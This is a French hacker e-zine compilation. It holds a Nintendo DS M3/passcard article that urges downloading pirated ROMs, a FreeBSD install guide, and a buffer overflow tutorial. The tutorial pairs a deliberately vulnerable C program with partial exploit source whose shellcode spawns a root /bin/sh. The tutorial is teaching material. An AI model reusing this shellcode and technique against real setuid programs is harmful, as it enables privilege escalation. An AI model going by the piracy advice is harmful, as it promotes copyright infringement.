[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
Créer trois (3) nouvelles 'valeur chaîne' (string value) nommées "Compatible",
"Version" et "Platform". Vous pouvez aussi modifier la valeur de "(Default)". Pour
vous aider a mieux comprendre quelles valeur chaînes représentent quoi, voici un
exemple de User Agent généré par IE:
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
| Default | Compatible | Version | Platform |
Si vous avez des datas après le champ "Platform", dans l'exemple ci-dessus ce
serait après "Windows NT 5.0", vous devez supprimer les clefs se trouvant dans la
clef suivante:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform]
Chaque nom de clef présents dans la clef "Platform" sera envoyé comme champ
supplémentaire dans la chaine User Agent. Il vous suffit des les supprimer pour les
retirer de la chaine. Si vous désirer ajouter des champs, il suffit de créer des
clef.
Redémarrer Internet Explorer pour que les modifications prennent effet.
Voici une liste de User Agent de certains bots de recherche:
http://fr.wikipedia.org/wiki/User-Agent#Robots
Enjoy
Ninja
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\.
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O5 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Intro to Nintendo DS Hacking ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Gonzo [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
Intro to Nintendo DS Hacking 25/07/06
A.K.A.
Best Purchase I made this year
Word up people! Le Dr est de retour, pour vous jouer un mauvais tour! (Ta gueule..) Pour rester
sérieux, il y a un mois, un de mes compagnons de travail a envoyé un E-mail sur une mailing liste
ultra secrète (pas tant que ça) pour demander s’il y avait du monde intéresser a se procurer un
"homebrew DS devkit". Comme j'ai toujours voulu programmer pour des consoles sans rien savoir a
leur propos vu qu’un devkit de Playstation 2 vaut à peu près 20000 -30000 $, je me suis dit que
c'était une occasion parfaite pour m'y mettre. Voilà où le fun commence. Sans savoir dans quoi
je m'embarquais, je lui envoie un reply pour lui dire de me mettre sur la liste d'acheteurs.
Le package comprenait 4 choses que nous avons dû commander un peu partout dans le monde pour une
valeur totale de 180$A. les 2 choses les plus simples étaient :
*Mini SD card 1gig
*Mini SD card reader USB
Ça se trouve dans les Radio Shack et ce genre de magasin d'électronique. Je vous sortirais bien
les marques que nous avons achetées, mais je viens tout juste de garrocher les boites sur le
dessus de mon garde-robe ou il y a littéralement UNE MONTAGNE DE BOÎTES! le SD reader qu'on a
acheté est assé cool. il permet de lire les cartes SD et 2 autres types que je ne connais pas le
nom. L'une d'elle me permet de foutre ma carte de camera numérique dedans (j'ai eu la camera
gratuite à cause qu'il manquait le reader... BARGAIN!). le mini reader est USB et fonctionne
asser bien sans avoir a installé de drivers spéciaux avec WinXP, OSX, Linux Ubuntu (celui-là est
dodgy des Foix, mais y' auto-mount a 85% du temp). ils fournissent aussi des drivers pour les
vielles version de Windows et Mac OS 8-9.
La carte mini SD est asser "cute". ça a la grosseur des sunshine acid dans le film Peur et
Dégout a Las Vegas (ironicaly) et doit s'assoir dans un adapter qui viens avec pour qu'on
puisse la lire dans le SD reader. tout ça est asser straight forward... le résultat est qu'on a
l'équivalent d'un removal disk dur de 1gig de la grosseur d'un cap dacid.
Vous devez commencer à vous douter que cette carte va vite devenir le disque dur de notre DS
mais ce que vous ne comprenez pas c'est comment est-ce qu'on va rendre le DS capable de lire la
carte. Si vous regardez bien sur le DS... il n'y a nulle part où on peut insérer ce type de carte.
Voilà ou ça devient intéressant. Il y a une bande de Japonais fucked up/sautez sus le crack et
qui ne se sont probablement jamais fait sucé non plus qui ont fini par développer le M3.
Bon c'est quoi un M3? c'est un bidule de la grosseur d'une cartouche de Gameboy Advance qui fait
un paquet de trucs le fun.
http://www.gameboy-advance.net/nintendo_ds/nds-m3adapter.htm
Voici un link ou vous pouvez vous le commander avec une passcard que je vais vous parler un peu
plus bas. Ils en fabriquent pour SD et CF card (ou les 2) eh oui si vous ne l'avez pas encore
deviné, le M3 vous permet d'insérer une carte SD et de l'utiliser comme disque dur. De ce que je
comprends, le M3 est un peu comme un mini OS foutu sur une carte GBA (qui hi-jack probablement
le bios en même temp, ici ça commence a allez un peu trop dans l'électrique engineering pour mes
connaissances, j'ai trouvé une couple de wiki qui explique les différentes adresses pis comment
hi-jacker le bios de la machine. Je n’aime autant pas trop parler de se que je ne comprends pas
trop). so nous allons nous contenter de prendre le M3 comme un bidule qui a un mini OS/firmware
qui nous permet de lire la carte SD/CF et flaire un paquet d'autres trucs que je vais discuter
plus tard dans l'article.
Note : le M3 n'est pas DS spécifique, il va fonctionner sur le GBA itou.
Maintenant, la fameuse Passcard. OK celle-là de se que j'ai lue, c'est une carte d'la grosseur
d'une cartouche de DS qui se charge de flasher le bios du DS pour pouvoir aller en mode command
(se qui vous permet d'accéder au features du M3... ici encore, je suis pas un pro en électronique,
so ça pourrait être faux comme information, mais de se que je comprends, il y a une protection sur
le bios et la pass card vous permet de bypasser cette protection)
Note : maintenant que vous avez les 4 éléments requis, le fun peu commencer. Faites attention,
avant de tout plugger. Lisez bien la documentation qui vient avec la passcard et le M3, il y a
quelque chose a faire la première foix que vous booter le DS pour pouvoir supporter plus de
features. Je vous avertis, la documentation a été traduis tr mal de japonais a anglais, c'est
asser dur a suivre.
DS features
Le DS est une console asser pas puissante. c'est un peu comme s’ils avaient pris un N64 et avaient
foutu ça dans une boite de la grosseur de 2 paquets de cigarettes canadiennes. Malgré tout, vu
que nous n’avons pas d'OS à faire rouler, c'est un peu comme si tout le power de la machine étais a
nous.
*premièrement, le DS contient 2 micros processeur d'architecture ARM (ARM7TDMI , et ARM946E-S.
co-processor qui roule a 67mhz et 33mhz avec 4mb de RAM.. je vais aller plus en détail si je viens
qu'a écrire mon article de programmation pour le DS)
*2 écrans 256x192 (pas beaucoup comparé à vos écrans 1600x1200) où celle du bas a une touch
screen reader
*microphone avec support pour récognition de la voie
* supports wireless 802.11b (WiFi) standards (permet des connexions de 30 -100 pieds de distance)
*des speakers intégrés
*supports 2D/3D
*en théorie, le DS pourrait renderer jusqu'a 120000 triangles, mais ce n'est pas suggère
d'en renderer plus que 4000 si on veut garder un frame rate de 30fps
* il peut aussi loader des textures dans la mémoire.
*support pour cel shading (c'est Nintendo cameme)
*j'en oublie peu être
M3 features
Le M3 à tout plein de choses intéressantes. Le DS supporte Bios supporte GBA et DS mode, alors
nous pouvons aller dans ces 2 modes pour aller jouer avec le M3. Il y a une interface très
simple avec différentes options.
*Movie - Eh oui, le M3 nous permet de faire jouer nos films préférés sur le DS. Bien sur, vous
ne pouvez pas simplement placer un .avi DivX sur la SD card et expecter que le M# va le jouer. Le
DS n'est pas asser puissant pour décompresser la compression DivX en même temp que de faire jouer
le film. La compagnie qui a créé M3 a été asser smat pour nous donner un Mini-CD-ROM avec 2-3
programmes utiles dessus. L'un d'eux est un Movie Converter et un Codec Pack. (Ce sont des
programmes Windows, mais j'ai réussi à les installer avec Wine et c'est supposé fonctionner
avec VirtualPC) le programme va prendre un fichier film et le convertir en fichier raw (j'assume
que c'est une compression très simple, s’il y a même une compression. Et il va surement réduire
la résolution du film pour 256x192). Le programme va même se charger d'écrire le fichier sur la
carte SD (si elle est trouvée). Tout ce qui vous reste a faire c'est mettre la carte SD dans le
M3 et voila! vous pouvez écouter les épisodes des Simpsons dans le bus en allant au travaille.
*Music - il y a aussi un music player. bon, un peu comme le movie, je pense qu'il faut
re-compresser vos mp3 en un format pas trop compresser pour que le DS puisse lire. Je ne l'ai
pas encore essayé, mais en théorie, votre DS devient un iPod (il vous reste juste à voler la
paire d'écouteur à votre petit frère et vous allez pogner avec toutes les chicks!)
*Pictures - un simple picture viewer. je ne suis pas sur quel format sont supporté, mais je
dirais que Bitmap et JPEG fonctionnent parfaitement (vous pouvez transporter votre pr0n itou
dans le bus)
*Books - ça j'ai pas checké, mais je pense que ça vous permet de lire des formats eBooks (eh
oui... lire Mindkind dans le bus. Sur votre DS.. 1337)
*PDA - Ici je ne connais pas vraiment les PDA mais je pense que ça permet de lire des applications
pour PDA. (Quand je clique dessus, ça dit que ça ne trouve pas de fichier.pda sur mon disque dur)
*Extend - ça, je ne comprends pas trop. Ça change la façon de voir mon interface graphique du M3
mais ça n'a pas l'air de faire grand-chose de plus.
*Setup - ici, nous pouvons modifier les settings du M3 (il n'y en a pas beaucoup), mais le M3
support sleepmode maintenant (wuhu... ma batterie va durer plus longtemps)
*Games - voici la partie qui m'intéresse le plus et que d'âpres moi a le plus a offrir. Tout le
monde devrait savoir se que c'est un émulateur et des ROMS? oui, bon OK... les gars de M3 on
foutu la possibilité de jouer a n'importe quelles ROMS de Nes, SNes, GB, GBA, smc, NDS et
probablement d'autres consoles qui sont sorties seulement au japon! oui! vous m'avez bien compris,
vous pouvez downloader tout la série de NES ROMS sur l'internet et les mètres tous sur votre
carte SD! GRATUITEMENT!!! anyway, si vous être un gamer cracker mental comme moi, vous devez
comprendre pourquoi je dis que c'est le meilleur achat que j'ai fait cette année. 180$A et j'ai
presque tous les jeux de Nintendo gratuit sur mon DS que je peu trimbaler n'importe où! des heures
et des heures d'entertainment!!! Sur le miniCD-ROM que M3 nous donne avec la carte, il y a un
programme qui s'appelle "Game Manager" (ils se sont forcés pour trouver un nom) qui est un
programme Windows, mais qui fonctionne très bien avec Wine et VirtualPC. il vous permet de
prendre n'importe quelles ROMS supportées et de le transformer en format qui va jouer sur le
M3/DS/GBA. c'est asser straight forward, si vous ne comprenez pas, lisez le manuel qui vient avec
(c'est GUI et nom command line)
Conclusion
bon asteure avec cette information-là, vous êtes près à 3 choses :
*être un Nintendo Warez Pimpz
*flasher devant tous vos amis en disant que vous avez hacker votre DS pour flaire tout ça
*transporter du data illégal au travers de n'importe quelle douane vu que c'est probablement trop
débile comme amanchure pour qui pense a essayé de comprendre comment ce bidule la marche (tout
se qu'ils savent faire c'est étampé votre passe-port... malgré que je n'aurais probablement pas
dû dire ça vu que la GRC nous espionne et maintenant ils vont s'assurer que tous les DS qui
rentrent au pays ne sont pas hacker)
Où allons-nous à partir d'ici? OK pour être sérieux, ça ne serre pas juste à flasher et jouer a
des jeux en 8 bits. Si vous vous rappelez de mon intention première en achetant le gadget, c'était
pour faire du Homebrew développement. Oui c'est possible! vous pouvez compiler votre code pour le
DS et créer votre propre version de Tetris en exploitant les capacités du DS hardware. C’est
asser intéressant comme forme de programmation. C’est low level et restreint, mais ça vous donne
une expérience de "c'est quoi programmer pour une machine qui n'est pas exactement un ordinateur
x86". j'ai commencé a travaillé il y a 2 semaines avec NDSLib et GBALib. J’ai réussi a faire
apparaitre des polygones sur l'écran (en utilisant leur amanchure de render qui appelle "OpenGL"
mais qui ne l'est pas vraiment) avec une petite console pour afficher du texte et il n'y a pas
beaucoup de lignes de code. Je vais me pratiquer un peu plus et je vais essayer de vous flaire un
article futur sur comment débuter a faire vos propres programmes pour le DS tout en expliquant
comment compiler votre code et faire fonctionner les 2 processeurs simultanément.
Pour l'instant, contentez-vous de jouer avec tous les jeux magnifiques qui ont été inventer sur
les vieilles consoles au lieu de vous pourrir l'esprit avec des clones de Doom + cool Lighting FX.
Say hi to your mum for me...
Dr.Gonzo
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\.
topic
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O6 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Get started with freeBSD ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Oda [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
I. Intro :
Pour commencer je pars du fait que vous connaissez un minimum l'Unix ou linux donc si
ces deux mots ne vous parlent pas l'article sera probablement un niveau trop haut pour vous smile.
Quelles sont les différences entre FreeBSD et Linux :
- déjà linux n'est qu'un noyau (kernel) alors que freeBSD est un OS à part entière (noyau
+ commande de base genre ls,pwd etc...).
- La seconde différence est la licence pour faire simple la licence BSD c'est "Voila notre
code fait en absolument ce que vous voulez " et cette licence a permis de voir naitre
Mac OS qui basé sur du code BSD. Bon voilà pour les quelques différences majeures... (car
il y en a pas mal d'autres).
II. Installation :
Pour installer FreeBSD il faut que vous alliez chercher l'iso qui va bien sur à l'heure ou je
parle la dernière version est la 6.1. Un petit conseil avant de se lancer, faites une sauvegarde
de vos disques (on ne sait jamais !!!! ).
On grave l'iso et op on boot dessus... Au boot apparait l'assistant d'installation (sysinstall).
Pour une installation type allée dans "Standard". Vous pouvez vous promener dans les menus si vous
voulez voir un peu à quoi ça ressemble, mais pour débuter le menu "Standard" convient parfaitement.
II - 1) allouer de l'espace disque :
À partir de maintenant il va falloir allouer de l'espace disque pour l'OS. Premièrement, choisissez
le disque sur lequel installer l'OS (par exemple ad0 mais cela peut être différent dans votre cas).
Le nommage des disques sous FreeBSD se fait de la manière suivante :
ad Disque ATAPI (IDE)
da Disque SCSI
acd CDROM ATAPI (IDE)
cd CDROM SCSI
fd Lecteur de disquettes
Donc le disque ad0s1a correspond à un disque IDE (ad), le premier disque IDE (ad0) . Le reste
correspond au formatage dans notre exemple le premier slice (s1) et la première partition (a).
Une fois le disque choisi, vous voici dans "fdisk" qui vous permet de partitionner le disque.
Dans un premier temps, il faut définir les slices (tranche en français) qui correspondent pour faire
simple à des partitions physiques dans lesquels on créera par après les partitions logiques. Dans notre
exemple nous choisirons tout le disque, pour ce faire appuyer sur A. Il faut également que le disque
soit bootable pour ce faire appuyer sur S (vous voyez la signification des commandes dans la parti
inférieur de fdisk). Une fois le slice créé faite Q pour terminer.
Une fois le slice créé, sysinstall vous demande quel type de "boot manager" installé. Le boot
manager c'est le joli menu au boot de votre machine pour choisir votre OS de prédilection.
Choisisez "Standard" s’il n'y aura que freeBSD sur votre machine ou "BootMgr" si d'autres OS peuvent
etre choisi au boot.
À présent nous allons créer les partitions sur le slice que vous avez créé précédemment. Sur le
slice faites C pour créer une partition. Choisissez la taille de celle-ci par exemple 8000M pour 8Go,
choisissez si cette partition sera de la swap ou un FileSystem, choisissez le point de montage dans le
cas d'un filesystem par exemple /. Répéter l'opération pour toutes les partitions que vous souhaitez
créer. Une fois terminée faite Q pour quitter.
II - 2) Installation de l'os en lui même :
Sysinstall va partitionner vos disques, après cela vous arrivez au choix des packages à installer.
Moi je préfère installer uniquement le package minimum et installer le reste après sur le système,
vous pouvez faire comme bon vous plait. Donc je choisi minumum avec espace et je fais OK.
Sysinstall demande le support d'installation, le CD-ROM dans notre cas.
L'installation va se dérouler. Après celle-ci différentes questions vont vous être pose du type
voulez vous configurer votre réseau, etc... Répondez en fonction de vos besoins. Ils vous sera
également demande de créer un compte utilisateur et de saisir le mot de passe root (petite astuce : si
vous souhaitez que votre utilisateur puisse faire su pour devenir root ajouter le dans le group wheel
autrement il ne pourra pas faire de su).
Et voila votre installation est finie.
Reboot... et bonne chance
III. Installation de package
Votre système tout beau tout neuf boot, a présent vous voulez installer des trucs dessus...
Au premier boot faites 'portsnap fetch' suivit de 'portsnap extract' cela a pour but de mettre a jour
tous les portages à partir du site de freebsd. Après cela la liste des packages se trouve dans
/usr/port/.
Nous allons installer par exemple nmap pour cela nous allons dans /usr/port/security/nmap et la
nous faisons 'make install clean' et après quelques minutes de compilation voila nmap d'installer.
(petite astuce : je conseille d'installer /usr/port/sysutils/portmanager qui permet de mettre votre
système a jour automatiquement de la manière suivant 'portsnap fetch update' mais a jour la référence
/usr/port et ensuite 'portmanager -u' qui compare ce qui est installé sur votre machine et ce qui a
été mis a jour dans /usr/port/ très pratique pour que votre système soit toujours a jour).
Au prochain article on verra comment fonctionne l'init de freebsd ainsi que la manière de sécurisexe
encore un peu plus cet OS...
UNE VERSION AVEC SCREENSHOT EST DISSPONIBLE SUR : http://www.hackever.org
Écrit par Oda
__ __ __ _____
/ / / /___ ______/ /_|__ / _____ _____
/ /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
/ __ / /_/ / /__/ ,< ___/ / |/ / __/ /
/_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed.
topic
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O7 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Get Root,with small buff. no NOPs ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] icefox [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
[ 0x00 ] Sommaire ]
] Introduction ]
] 0x01 - Rappels Théoriques ]
- a] Dépassement de tampon
- b] Organisation de la stack
- c] Structure d'un buffer overflow
] 0x02 - Développement de vulnérable ]
] 0x03 - Exploitation de vulnérable ]
] conclusion ]
[ Introduction ]
Vous le savez tous qu'un grand nombre de papers liés à l'exploitation de stack overflow est déjà
existant, c'est pour cette raison que je ne rappellerai pas tout ce qu'il faut savoir à ce propos.
Ceci dit j'ai quand même pris la peine de créer une partie de rappels théoriques, qui seront
utiles pour notre démonstration.
Le but de cet article est de montrer comment fonctionne l'exploitation d'une faille présente dans
un programme vulnérable par le biais d'un buffer très petit, et comment démontrer d'une manière
plus que pratique qui n'utilise aucun NOP comment trouver l'adresse du shellcode du premier coup.
Bien sans plus attendre nous pouvons nous lancer dans la vraie partie de cet article.
Let's go oveflow !
[ 0x01 - Rappels Théoriques ]
- a] Dépassement de tampon
Lorsqu'on définit une varaible, une zone mémoire est libérée selon les caractéristiques de la
variable définie (type, taille, etc..). Dans cet espace, la variable attendra les informations
qui lui sont destinées pour les inscrires en mémoire. Donc comme son nom l'indique le buffer
overflow (dépassement de tampon) s'exécute quand on envoie plus d'infos que l'espace mémoire (la
variable) peut en contenir.
- b] Organisation de la stack
Quand un processus est lancé, un espace mémoire lui est alloué. C'est bien beau de dire ça, mais
réellement, qu'est ce que c'est ? En faite c'est un bloc de 3 sections qui ressemble à ça:
___________
| | <- adresses hautes
| Section |
| Text |
|-----------|
| Section |
| Données |
|-----------|
| Section |
| Pile |
|___________| <- vers adresses basses
Cela va de soit que nous nous attarderons sur la section Pile (stack) :)
En faite ces trois sections conservent différents types de données: La section Text garde les
instructions du programme en lecture seule, la Section Données des variables initialisées et
non-initialisées,
comme les variables dynamiques, etc..
Donc, il faut savoir que le sens d'empilement des objets en mémoire s'effectue des adresses
hautes vers les adresses basses.
Très important: la stack fonctionne suivant une norme nommée LIFO (Last In First Out) qui
signifie que le dernier objet mis en mémoire sera le premier à être dépilé de la mémoire.
On peut imager cette expliqution: vous avez une pile de CD, on ajoute des CDs, puis on dépile
CD par CD, le dernier CD a être empilé sera celui du haut donc le premier à être dépilé.
Si on parle maintenant niveau programme, les instructions ASM qui permettent d'intervenir sur
la mémoire sont PUSH et POP, PUSH pour empiler un objet, POP pour le dépiler.
Il est évident aussi que la stack n'a pas de taille fixe, et qu'elle varie en fonction des
éléments ajoutés. Ceci dit ce n'est pas vraiment la stack en elle-même qui change de taille,
mais c'est un pointeur de pile qui se déplace: j'explique le pointeur de stack ainsi nommé
ESP, pointe sur le haut de la stack et se déplace vers le bas de la stack. Et c'est la
différence entre le pointeur de la base de la stack EBP et celui du bas de la pile ESP qui
donne la taille de la stack.
Donc voici un petit tableau récapitulatif des pointeurs de piles:
EBP: pointe sur le bas de la stack: vers les adresses hautes
ESP: pointe sur le haut de la stack et se déplace vers les adresses basses
EIP: c'est le pointeur qu'on va overwriter: il pointe sur la prochaine instruction à
éxecuter.
Bon si vous avez bien compris tout ceci, c'est un grand pas. Vous verrez par vous-mêmes que
bien maitriser les actions effectuées par la stack ne sera pas utile que pour des stack
overflow :)
- c] Structure d'un buffer overflow
Le principe du buffer overflow est de faire exécuter un code arbitraire à un programme
vulnérable dans l'optique de prendre un contrôle Root d'une machine si le programme vulnérable
a les droits du root. Ce code arbitraire est en réalité une portion de code hexadécimale
"\xeb\xc0..." qui avant d'être retranscrit est un code assembleur qui permet de lancer /bin/sh
(les shellcodes de type basique). Néanmoins, il y'a des shellcodes beaucoup plus évolués comme
les Binshell, les shellcodes casseurs de chroot etc..
Le scénario standard d'une exploitation est du type [NOPs][Shellcode][Ret Addr]
Plus précisément, cette structure est composée de 3 parties:
- Les NOP : Instruction ASM de valeur 0x90 qui ne sert à rien proprement dit, mais ici ils
servent à remplir le buffer
- Le shellcode : donc on l'a vu plus haut, il lance le shell /bin/sh
- La Ret Addr : c'est l'adresse qu'on fera pointer dans les NOPs. Si c'est le cas, le
shellcode sera exécuté.
- Ret Addr: Definiton
Lorsque un programme fait appel à une fonction, il appel le point d'entré de la fonction,
executer cette fonction pour finalement tomber sur un "ret", qui va modifier le flux d'execution
du programme pour retomber sur le point d'entré de ce dernier et le programme continura ensuite
son execution comme prévu.
Maintenant l'objectif de l'exploit sera de modifier cette adresse de retour en overwritant le
registre EIP pour remplacer son contenu pour faire retomber le flux d'exécution sur nos NOPs.
Mais si vous comprenez bien le problème, on ne peut pas être certain de tomber sur les NOPs.
C'est pour ça qu'on utilisera l'environnement :> On placera en environnement le shellcode, on
récupèrera plus facilement son adresse et on pourra l'exécuter à coups sur.
[ 0x02 Développement de Vulnérable ]
Code source:
/** Vulnerable.c **/
#include <stdio.h>
#include <string.h>
int main(int arc, char *arv[])
{
char buffer[6];
if(arc == 2)
{
strcpy(buffer, arv[1]);
}
}
Je ne prendrais pas la peine d'expliquer ce code, il est extrêmement simple à comprendre.
Donc ici la taille de notre buffer ne fera que 6 octets.
donc on teste le segfault:
icefox@evil~$ ./stack `perl -e "print('A'x15)"`
Erreur de segmentation
Le programme segfault comme prévu.
Note: il est à savoir aussi qu'avant de vouloir overwriter EIP, il faut passer au dessus de
EBP donc pour écrire au-dessus de EIP il faut 6 + 4(EBP) + 4(EIP) = 14 Octets.
On vérifie cette règle:
Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x14)"`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Avec 14 octets on note le 0x41414141 in ?? () -> l'adresse hexa ici est en faite EIP
On teste avec 13 Octets:
Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x13)"`
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
On voit que seulement 3 Octets ont overwrité EIP donc c'est bien vrai, il faudra 4 Octets pour
écrire sur EBP et 4 de plus pour EIP.
Donc on note: Taille du buffer -> 6
Taille du débordement -> 8
Ici on n’a pas besoin de récupérer l'adresse du buffer puisqu’on fera passer le shellcode
en environnement :)
[ 0x03 - Exploitation de Vulnérable ]
Bien, je l'ai dit au début, on va faire passer le shellcode dans l'environnement.
Code source de l'exploit:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define SIZEB 6
#define OWN 8
#define ROOT "./stack"
#define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh))
#define ccopy(a, b) *((int *) &arg[1][a]) = b
int main(int arc, char *arv[])
{
char sh[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0d"
"\x5b\x31\xc0\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd"
"\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
char *arg[] = { ROOT, "phear", NULL };
char *env[] = { sh, NULL };
arg[1] = malloc(SIZEB + OWN + 1);
memset(arg[1], '0', SIZEB + OWN);
ccopy(SIZEB+OWN-4, ARG);
